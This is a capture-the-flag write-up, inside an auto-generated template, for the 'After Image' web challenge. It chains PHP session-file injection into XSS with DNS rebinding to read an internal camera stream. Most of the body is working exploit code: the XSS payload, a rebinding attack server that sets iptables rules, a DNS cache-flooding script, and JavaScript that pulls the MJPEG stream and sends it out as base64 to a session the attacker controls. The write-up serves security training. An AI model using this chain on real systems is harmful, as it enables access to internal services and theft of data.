After Image
After Image
Platform: Srdnlen | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-03-01 | Status: Solved Techniques: dns_cache_eviction_flooding, dns_rebinding_via_tcp_rst, iptables_tcp_rst_blocking, mjpeg_stream_exfiltration, php_session_file_injection, session_fixation_via_url
Summary
Task: read a flag from an internal MJPEG camera stream not accessible from outside, using a Playwright Firefox bot with 75s timeout. Solution: PHP session file injection for XSS, then DNS rebinding via rbndr.us with iptables TCP RST blocking to force DNS re-resolution after 60s Firefox cache expiry, exfiltrate MJPEG frame via shared session.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
srdnlen| ID:20250301_srdnlen_ctf_2025_afterimage - Tags: dns_rebinding, xss, php_session, session_fixation, iptables, mjpeg, firefox, playwright, rbndr
- Indicators: session.use_only_cookies=0 in php.ini, session.use_trans_sid=1, session.use_strict_mode=0, file upload to /tmp/ (same as PHP session directory), internal service not accessible from outside
- Source:
20250301_srdnlen_ctf_2025_afterimage.md
Foothold
Vulnerability / Misconfiguration
- Dns_cache_eviction_flooding
- Dns_rebinding_via_tcp_rst
- Iptables_tcp_rst_blocking
- Mjpeg_stream_exfiltration
- Php_session_file_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- dns_cache_eviction_flooding
- dns_rebinding_via_tcp_rst
- iptables_tcp_rst_blocking
- mjpeg_stream_exfiltration
- php_session_file_injection
- session_fixation_via_url
- Tags: dns_rebinding, xss, php_session, session_fixation, iptables, mjpeg, firefox, playwright, rbndr
Original Writeup
<details><summary>Click to expand original content</summary>Description
Web application "LocalVault" — a PHP dashboard with profile, settings, and tokens. Behind the nginx reverse proxy there's a hidden internal security camera (Flask MJPEG stream) with the flag drawn on it. A Playwright Firefox bot visits submitted URLs and waits for 75 seconds. Goal: read data from the internal camera that's not accessible from outside.
Target URL: http://afterimage.challs.srdnlen.it
Architecture
┌─────────────────────────────────────────────────────────┐
│ Docker Network 10.133.7.0/24 │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────────────┐ │
│ │ nginx │ │ web │ │ camera │ │
│ │ :80 │───▶│ PHP 8.2 │ │ Flask MJPEG │ │
│ │10.133.7.4│ │10.133.7.3│ │ 10.133.7.5 │ │
│ └────┬─────┘ └──────────┘ │ FLAG at (140,235)│ │
│ │ └──────────────────┘ │
│ │ /report │
│ ▼ │
│ ┌──────────┐ │
│ │ bot │ Playwright Firefox 146.0 (headless) │
│ │10.133.7.2│ 75s timeout, dns: 8.8.8.8 │
│ └──────────┘ │
└─────────────────────────────────────────────────────────┘
- nginx (10.133.7.4:80) — reverse proxy:
/report→ bot,/→ web app.absolute_redirect off, noserver_name. - web (10.133.7.3) — PHP 8.2 Apache. Profile, settings, tokens. Sessions stored in
/tmp/. - camera (10.133.7.5) — Flask.
/— HTML page,/stream— MJPEG stream. Flag is drawn in white text (255,255,255) on dark background at position (140, 235) on a 640x480 image. Only accessible from inside the Docker network. - bot (10.133.7.2) — Playwright Firefox, visits URLs matching regex
^http://afterimage-nginx/.*$, waits 75 seconds. Rate limit: 2 requests / 60 seconds.
Analysis
Vulnerability 1: XSS via PHP Session Injection
In index.php (line 22) $_SESSION['nickname'] is output without escaping:
<h1>Welcome back, <?php echo $_SESSION['nickname'] ?? 'Guest'; ?>!</h1>
However, profile.php applies htmlspecialchars() when writing via POST form. But there's a bypass: the config file is uploaded to /tmp/ with a filename that passes through preg_replace('/[^A-Za-z0-9._-]/', '_', $filename). The name sess_XXXX passes this filter, and /tmp/ is the PHP sessions directory.
Key settings in php.ini:
session.use_only_cookies = 0 ; sessions via URL parameter session.use_trans_sid = 1 ; auto-add PHPSESSID to links ; session.use_strict_mode = 0 ; default — accepts any session ID
Attack chain: upload file sess_XXXX with serialized session data → insert <script>...</script> in the nickname field → bot navigates to index.php?PHPSESSID=XXXX → PHP reads our file as a session → XSS.
Vulnerability 2: Camera Access via DNS Rebinding
The camera is only accessible at IP 10.133.7.5 inside the Docker network. No CORS headers. Direct fetch() / XHR is blocked by Same-Origin Policy. But DNS rebinding allows bypassing SOP: if the same domain first resolves to our server, then to the camera — the browser considers it the same origin.
Why Other Approaches Don't Work
| Approach | Result |
|---|---|
Canvas drawImage + toDataURL | Tainted canvas (cross-origin image) |
| WebGL | Not available in headless Firefox |
mix-blend-mode timing | Fully patched in modern browsers |
| SVG filter timing | No measurable difference |
fetch/XHR directly to camera | NetworkError (no CORS) |
| DNS rebinding via TTL=0 | Firefox minimum DNS cache — 60 seconds |
| iptables DROP | Firefox doesn't fallback on timeout, needs TCP RST |
| |
Solution
Step 1: Infrastructure Setup
rbndr.us domain: 223d0a9a.0a850705.rbndr.us — a service that randomly (50/50) returns one of two IPs:
223d0a9a= 34.61.10.154 (our GCP VM)0a850705= 10.133.7.5 (internal camera)
GCP VM (34.61.10.154) — runs attack server (prod_server.py), which:
/— serves HTML with attacking JavaScript/block-me— appliesiptables -I INPUT -s <bot_ip> -p tcp --dport 80 -j REJECT --reject-with tcp-reset/reset— removes iptables rules for the next attempt
Step 2: Session Injection for XSS
Create PHP-serialized session data with JavaScript in the nickname field:
def create_session_file(fields):
"""Creates a file in PHP session serialization format."""
data = b""
for key, value in fields.items():
if isinstance(value, str):
value = value.encode("utf-8")
data += key.encode() + b"|s:" + str(len(value)).encode() + b':"' + value + b'";'
return data
XSS payload in nickname:
<script>window.addEventListener("load",function(){setTimeout(function(){
var i=document.createElement("iframe");
i.src="http://223d0a9a.0a850705.rbndr.us/";
i.style.width="1px";i.style.height="1px";
document.body.appendChild(i);
// Signal that XSS loaded
var f=new FormData();f.append("nickname","XSS_LOADED");
f.append("save_manual","1");
fetch("/profile.php?PHPSESSID=prodresult1",{method:"POST",body:f});
},500);});</script>
Critical: window.addEventListener('load', ...) with setTimeout — to not block the bot's 10-second goto timeout.
Upload the file via config file upload in profile.php:
files = {"config_file": (f"sess_{xss_sid}", content, "application/octet-stream")}
requests.post(f"{TARGET}/profile.php?PHPSESSID={rand_id()}", files=files)
Step 3: Triggering the Bot
Submit URL http://afterimage-nginx/index.php?PHPSESSID=XXXX to /report. Bot opens the page → PHP reads our sess_XXXX → raw HTML/JS is inserted into the page → XSS executes.
Step 4: DNS Rebinding Attack
XSS creates an iframe to http://223d0a9a.0a850705.rbndr.us/. With ~50% probability rbndr.us resolves to our VPS (34.61.10.154). The iframe loads the attack page:
Time Event
───── ────────────────────────────────────────────────
t=0 Iframe loads from VPS (34.61.10.154)
t=0.5 JS calls /block-me → VPS applies iptables TCP RST
t=1.5 JS creates 600 Image() with random XXXX.YYYY.rbndr.us
(fills Firefox DNS cache with junk entries)
t=3.5 JS starts aggressive retry fetch('/')
Each attempt: 1.5s timeout + 0.5s pause
All attempts get TCP RST → instant failure
t≈60 Firefox DNS cache expires (network.dnsCacheExpiration = 60s)
t≈60 Firefox re-resolves 223d0a9a.0a850705.rbndr.us
VPS responds with TCP RST → rbndr.us returns 10.133.7.5 (camera)
t≈60 fetch('/') gets camera HTML — "Internal Camera"!
t≈61 fetch('/stream') reads MJPEG stream (same origin!)
t≈62 Base64 encoding + POST to profile.php with result
t=75 Bot closes
Step 5: Why TCP RST is Critical
iptables -I INPUT -s <bot_ip> -p tcp --dport 80 -j REJECT --reject-with tcp-reset
- TCP RST (not DROP, not ICMP REJECT) — causes instant connection failure
- Firefox receives RST → immediately knows the server is unreachable
- On the next attempt Firefox must make a new DNS query (after cache expires)
- With
DROPFirefox waits for timeout (~30s), not enough time in the 75-second window - With ICMP REJECT Firefox may retry to the same IP
Step 6: DNS Cache Flooding
for (let i = 0; i < 600; i++) {
let img = new Image();
img.src = 'http://' + randHex8() + '.' + randHex8() + '.rbndr.us/x.png';
}
Each XXXX.YYYY.rbndr.us is a valid rbndr.us domain that resolves. This fills Firefox's DNS cache with 600 entries, helping to evict the cached entry for our rebind domain.
Important: Subdomains of a specific rbndr.us domain (like evict1.223d0a9a.0a850705.rbndr.us) DO NOT resolve. You need unique XXXX.YYYY.rbndr.us domains.
Step 7: Reading Camera and Exfiltration
When fetch('/') returns HTML with "Camera" / "Internal":
// 1. Read MJPEG stream
let sr = await fetch('/stream', {cache: 'no-store'});
let reader = sr.body.getReader();
let chunks = [];
let total = 0;
while (total < 100000) {
let {done, value} = await reader.read();
if (done) break;
chunks.push(value);
total += value.length;
if (total > 10000) break; // Enough for one JPEG frame
}
// 2. Base64 encoding
let combined = new Uint8Array(total);
let off = 0;
for (let c of chunks) { combined.set(c, off); off += c.length; }
let b64 = '';
for (let i = 0; i < combined.length; i += 768) {
let s = combined.slice(i, Math.min(i+768, combined.length));
b64 += btoa(String.fromCharCode.apply(null, s));
}
// 3. Save via shared PHP session
let f2 = new FormData();
f2.append('nickname', 'CAMERA_DATA');
f2.append('motto', b64.substring(0, 60000));
f2.append('save_manual', '1');
await fetch(TARGET + '/profile.php?PHPSESSID=' + RESULT_SID,
{method:'POST', body:f2, mode:'no-cors'});
dataSaved = true; // Prevent overwrite by periodic flush()
Step 8: Extracting the Result
The automated script (auto_exploit.py) polls index.php?PHPSESSID=prodresult1, looking for markers CAMERA_DATA / STREAM_SENT in HTML. When found:
# Extract base64 from motto
motto = extract_motto_from_html(html)
raw = base64.b64decode(motto)
# Find JPEG frame in MJPEG stream
start = raw.find(b"\xff\xd8") # JPEG SOI marker
end = raw.find(b"\xff\xd9", start) # JPEG EOI marker
jpeg_frame = raw[start:end+2]
with open("prod_frame.jpg", "wb") as f:
f.write(jpeg_frame)
Full Exploit Code
auto_exploit.py (orchestrator)
#!/usr/bin/env python3
"""Auto-retry exploit for After Image CTF challenge."""
import requests
import random
import string
import time
import re
import base64
import threading
import sys
TARGET = "http://afterimage.challs.srdnlen.it"
VPS_IP = "34.61.10.154"
REBIND_DOMAIN = "223d0a9a.0a850705.rbndr.us"
BOT_HOST = "afterimage-nginx"
RESULT_SID = "prodresult1"
def rand_id():
return "".join(random.choices(string.ascii_lowercase + string.digits, k=16))
def create_session_file(fields):
data = b""
for key, value in fields.items():
if isinstance(value, str):
value = value.encode("utf-8")
data += key.encode() + b"|s:" + str(len(value)).encode() + b':"' + value + b'";'
return data
def upload_session(sid, content):
files = {"config_file": (f"sess_{sid}", content, "application/octet-stream")}
return (
requests.post(
f"{TARGET}/profile.php?PHPSESSID={rand_id()}", files=files, timeout=15
).status_code
== 200
)
def attempt():
"""Run one attempt. Returns True if successful."""
xss_sid = rand_id()
# Reset VPS iptables
try:
requests.get(f"http://{VPS_IP}/reset", timeout=5)
except:
pass
# Init result session
upload_session(
RESULT_SID,
create_session_file(
{"nickname": "waiting", "bio": "", "motto": "", "theme": "light"}
),
)
# Create XSS payload — iframe to rbndr.us domain
xss = (
'<script>window.addEventListener("load",function(){setTimeout(function(){'
'var i=document.createElement("iframe");'
'i.src="http://' + REBIND_DOMAIN + '/";'
'i.style.width="1px";i.style.height="1px";'
"document.body.appendChild(i);"
'var f=new FormData();f.append("nickname","XSS_LOADED");'
'f.append("save_manual","1");'
'fetch("/profile.php?PHPSESSID=' + RESULT_SID + '",{method:"POST",body:f});'
"},500);});</script>"
)
upload_session(
xss_sid,
create_session_file(
{"nickname": xss, "bio": "test", "motto": "test", "theme": "light"}
),
)
# Report to bot
bot_url = f"http://{BOT_HOST}/index.php?PHPSESSID={xss_sid}"
report_status = [None]
def report():
try:
r = requests.post(f"{TARGET}/report", data={"url": bot_url}, timeout=180)
report_status[0] = r.status_code
if r.status_code == 429:
m = re.search(r"(\d+) seconds", r.text)
if m:
report_status[0] = int(m.group(1))
except Exception as e:
report_status[0] = -1
t = threading.Thread(target=report, daemon=True)
t.start()
time.sleep(5)
if isinstance(report_status[0], int) and report_status[0] > 200:
return "rate_limited", report_status[0]
# Poll for results (up to 110 seconds)
for i in range(55):
time.sleep(2)
try:
html = requests.get(
f"{TARGET}/index.php?PHPSESSID={RESULT_SID}", timeout=15
).text
except:
continue
if any(x in html for x in ["CAMERA_DATA", "XHR_DATA", "STREAM_SENT"]):
# Extract base64 data from motto field
m2 = re.search(
r"font-style: italic.*?<p[^>]*>\s*\"?(.*?)\"?\s*</p>", html, re.DOTALL
)
if m2:
motto = m2.group(1).strip().strip('"')
if len(motto) > 100:
raw = base64.b64decode(motto)
with open("prod_stream.bin", "wb") as f:
f.write(raw)
s = raw.find(b"\xff\xd8")
e = raw.find(b"\xff\xd9", s) if s >= 0 else -1
if s >= 0 and e >= 0:
with open("prod_frame.jpg", "wb") as f:
f.write(raw[s : e + 2])
return "success", 0
return "data_found", 0
return "timeout", 0
def main():
max_attempts = int(sys.argv[1]) if len(sys.argv) > 1 else 20
for attempt_num in range(1, max_attempts + 1):
print(f"\n=== Attempt {attempt_num}/{max_attempts} ===")
result, wait_time = attempt()
print(f" Result: {result}")
if result == "success":
print(f"\n[!!!] SUCCESS! Check prod_frame.jpg")
return
elif result == "rate_limited":
wait = max(wait_time, 65)
time.sleep(wait)
continue
time.sleep(65) # Wait for rate limit
if __name__ == "__main__":
main()
prod_server.py (attack server on VPS)
#!/usr/bin/env python3
"""DNS rebinding attack server. Runs on VPS."""
import http.server
import subprocess
import sys
import os
TARGET = "http://afterimage.challs.srdnlen.it"
RESULT_SID = os.environ.get("RESULT_SID", "prodresult1")
REBIND_DOMAIN = os.environ.get("REBIND_DOMAIN", "223d0a9a.0a850705.rbndr.us")
ATTACK_HTML = """<!DOCTYPE html>
<html><head><title>Loading...</title></head>
<body>
<script>
const TARGET = '__TARGET__';
const RS = '__RESULT_SID__';
let logs = [];
let dataSaved = false;
async function log(msg) { logs.push(Date.now()+':'+msg); }
async function flush() {
if (dataSaved) return;
let f = new FormData();
f.append('nickname', logs.length + ' msgs');
f.append('bio', logs.join('\\n'));
f.append('save_manual', '1');
try { await fetch(TARGET+'/profile.php?PHPSESSID='+RS, {method:'POST',body:f,mode:'no-cors'}); } catch(e) {}
}
async function main() {
await log('LOADED_ON_VPS');
// Block ourselves via TCP RST
try { await fetch('/block-me', {mode:'cors'}); } catch(e) {}
await new Promise(r => setTimeout(r, 1000));
// Flood DNS cache with random rbndr.us domains
function randHex8() {
let h=''; for(let j=0;j<8;j++) h+='0123456789abcdef'[Math.floor(Math.random()*16)];
return h;
}
for (let i = 0; i < 600; i++) {
let img = new Image();
img.src = 'http://'+randHex8()+'.'+randHex8()+'.rbndr.us/x.png';
}
await new Promise(r => setTimeout(r, 2000));
await flush();
// Aggressive retries — 65 attempts covering ~60s DNS cache window
for (let attempt = 0; attempt < 65; attempt++) {
try {
let controller = new AbortController();
let timeout = setTimeout(() => controller.abort(), 1500);
let resp = await fetch('/', {cache:'no-store', signal:controller.signal});
clearTimeout(timeout);
let text = await resp.text();
if (text.includes('Camera') || text.includes('stream') || text.includes('Internal')) {
await log('CAMERA_FOUND!');
// Read MJPEG stream
let controller2 = new AbortController();
let timeout2 = setTimeout(() => controller2.abort(), 15000);
let sr = await fetch('/stream', {cache:'no-store', signal:controller2.signal});
let reader = sr.body.getReader();
let chunks = [], total = 0;
while (total < 100000) {
let {done, value} = await reader.read();
if (done) break;
chunks.push(value); total += value.length;
if (total > 10000) break;
}
clearTimeout(timeout2);
try { reader.cancel(); } catch(e) {}
let combined = new Uint8Array(total);
let off = 0;
for (let c of chunks) { combined.set(c, off); off += c.length; }
let b64 = '';
for (let i = 0; i < combined.length; i += 768) {
let s = combined.slice(i, Math.min(i+768, combined.length));
b64 += btoa(String.fromCharCode.apply(null, s));
}
let f2 = new FormData();
f2.append('nickname', 'CAMERA_DATA');
f2.append('motto', b64.substring(0, 60000));
f2.append('save_manual', '1');
await fetch(TARGET+'/profile.php?PHPSESSID='+RS, {method:'POST',body:f2,mode:'no-cors'});
dataSaved = true;
return;
}
} catch(e) {}
await new Promise(r => setTimeout(r, 500));
}
await flush();
}
main();
</script>
</body></html>"""
blocked_ips = set()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
client_ip = self.client_address[0]
if self.path == "/block-me":
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
self.wfile.write(b"ok")
# TCP RST — critical for DNS rebinding
subprocess.run([
"iptables", "-I", "INPUT", "-s", client_ip,
"-p", "tcp", "--dport", "80",
"-j", "REJECT", "--reject-with", "tcp-reset"
], check=True, timeout=5)
blocked_ips.add(client_ip)
return
if self.path == "/reset":
for ip in list(blocked_ips):
try:
subprocess.run([
"iptables", "-D", "INPUT", "-s", ip,
"-p", "tcp", "--dport", "80",
"-j", "REJECT", "--reject-with", "tcp-reset"
], timeout=5)
blocked_ips.discard(ip)
except: pass
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
return
# Serve attack page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.send_header("Cache-Control", "no-store")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
html = ATTACK_HTML.replace("__TARGET__", TARGET).replace("__RESULT_SID__", RESULT_SID)
self.wfile.write(html.encode())
def log_message(self, format, *args): pass
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 80
server = http.server.HTTPServer(("0.0.0.0", port), Handler)
server.serve_forever()
Attack Diagram
Attacker nginx/web Bot (Firefox) VPS (34.61.10.154) Camera (10.133.7.5)
│ │ │ │ │
│ 1. Upload sess_XSS │ │ │ │
│ (nickname=<script>) │ │ │ │
│──────────────────────────▶│ │ │ │
│ │ │ │ │
│ 2. POST /report │ │ │ │
│ url=.../index.php? │ │ │ │
│ PHPSESSID=XSS │ │ │ │
│──────────────────────────▶│──────────────────────▶│ │ │
│ │ │ │ │
│ │ 3. GET index.php │ │ │
│ │◀──────────────────────│ │ │
│ │ (XSS in nickname) │ │ │
│ │──────────────────────▶│ │ │
│ │ │ │ │
│ │ │ 4. Create iframe │ │
│ │ │ rbndr.us → VPS IP │ │
│ │ │───────────────────────▶│ │
│ │ │ │ │
│ │ │ 5. Load attack JS │ │
│ │ │◀───────────────────────│ │
│ │ │ │ │
│ │ │ 6. GET /block-me │ │
│ │ │───────────────────────▶│ │
│ │ │ │ iptables TCP RST │
│ │ │ │ │
│ │ │ 7. DNS flood (600 domains) │
│ │ │ │ │
│ │ │ 8. Retry fetch('/') ×65│ │
│ │ │───TCP RST──────────────│ │
│ │ │───TCP RST──────────────│ │
│ │ │ ... (60 seconds) ... │ │
│ │ │ │ │
│ │ │ 9. DNS cache expires │ │
│ │ │ re-resolve → camera │ │
│ │ │────────────────────────────────────────────────▶│
│ │ │ │ │
│ │ │ 10. fetch('/stream') │ │
│ │ │ SAME ORIGIN! │ │
│ │ │◀───────────────────────────────────────────────│
│ │ │ │ │
│ │ 11. POST profile.php │ │ │
│ │ PHPSESSID=result │ │ │
│ │ motto=base64(mjpeg) │ │ │
│ │◀──────────────────────│ │ │
│ │ │ │ │
│ 12. Poll result session │ │ │ │
│──────────────────────────▶│ │ │ │
│◀──────────────────────────│ │ │ │
│ (extract JPEG frame) │ │ │ │
Key Technical Details
PHP Session File Format
nickname|s:42:"<script>alert(1)</script>";bio|s:4:"test";motto|s:4:"test";theme|s:5:"light";
PHP deserializes this directly from the file, bypassing htmlspecialchars() in profile.php.
rbndr.us IP Encoding
IP: 34.61.10.154 → hex: 223d0a9a
IP: 10.133.7.5 → hex: 0a850705
Domain: 223d0a9a.0a850705.rbndr.us
Firefox DNS Cache
network.dnsCacheExpiration= 60 seconds (hardcoded minimum)- Cannot bypass via TTL=0 — Firefox still caches for 60s
- DNS cache flooding helps evict the entry earlier
dataSaved Flag
Without the dataSaved flag, the periodic flush() (log sending) could overwrite already saved camera data in the session. A critical bug fixed in the final version.
Success Probability
- ~50% that rbndr.us first resolves to VPS (needed for loading JS)
- ~50% that after DNS cache expiry it resolves to camera (VPS blocked by TCP RST)
- Total: ~25% per attempt, usually 2-4 attempts to succeed
- Rate limit: 2 requests / 60 seconds → ~3-5 minutes for a successful attack
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR